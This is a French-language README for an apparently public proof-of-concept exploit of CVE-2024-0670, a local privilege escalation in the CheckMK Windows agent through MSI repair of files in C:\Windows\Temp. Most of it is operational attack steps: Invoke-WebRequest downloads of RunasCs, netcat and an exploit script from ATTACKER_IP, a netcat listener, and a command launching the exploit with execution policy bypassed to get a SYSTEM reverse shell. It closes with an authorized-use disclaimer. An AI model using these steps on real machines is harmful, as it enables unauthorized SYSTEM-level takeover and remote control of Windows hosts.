
Ce dépôt contient une démonstration d'exploit pour CVE-2024-0670, une vulnérabilité d'élévation de privilèges locaux affectant l'agent CheckMK pour Windows. La vulnérabilité permet à un utilisateur à faibles privilèges d'obtenir des privilèges SYSTEM en abusant des chemins de fichiers inscriptibles traités par le mécanisme de réparation MSI.
Ce dépôt contient une preuve de concept simple et propre pour CVE-2024-0670, une vulnérabilité d'élévation de privilèges locale dans l'agent CheckMK Windows. Un utilisateur à faibles privilèges peut obtenir les privilèges SYSTEM en abusant des chemins de fichiers temporaires inscriptibles exécutés lors de la réparation MSI.
Lors d'une réparation MSI, CheckMK exécute des fichiers sous :
C:\Windows\Temp\
Si un utilisateur normal peut y placer des fichiers avec des noms prévisibles, il peut exécuter des commandes en tant que NT AUTHORITY\SYSTEM.
Cet exploit insère plusieurs noms de fichiers de charge utile et déclenche la réparation MSI pour obtenir une exécution en tant que SYSTEM.
RunasCs.exe → remplacement de runas (prise en charge du mot de passe en texte clair)
nc.exe → Netcat (shell inverse)
exploit.ps1 → script d'exploit CVE-2024-0670
README.md → documentation
C:\Windows\Temp\
Invoke-WebRequest -Uri "http://ATTACKER_IP:8000/RunasCs.exe" -OutFile "C:\Windows\Temp\RunasCs.exe"
Invoke-WebRequest -Uri "http://ATTACKER_IP:8000/nc.exe" -OutFile "C:\Windows\Temp\nc.exe"
Invoke-WebRequest -Uri "http://ATTACKER_IP:8000/exploit.ps1" -OutFile "C:\Windows\Temp\exploit.ps1
Démarrez un écouteur sur votre machine :
nc -lvnp 1111
.\RunasCs.exe username "password" "powershell.exe -NoProfile -ExecutionPolicy Bypass -File C:\Windows\Temp\exploit.ps1"
En cas de succès, vous recevez un shell inverse SYSTEM.
net4 :
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe -target:exe -optimize -out:RunasCs.exe RunasCs.cs
net2 :
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe -target:exe -optimize -out:RunasCs_net2.exe RunasCs.cs
Ce projet est destiné uniquement à des tests de pénétration éducatifs et autorisés. Ne l'utilisez pas à des fins illégales. L'auteur n'est pas responsable d'une mauvaise utilisation.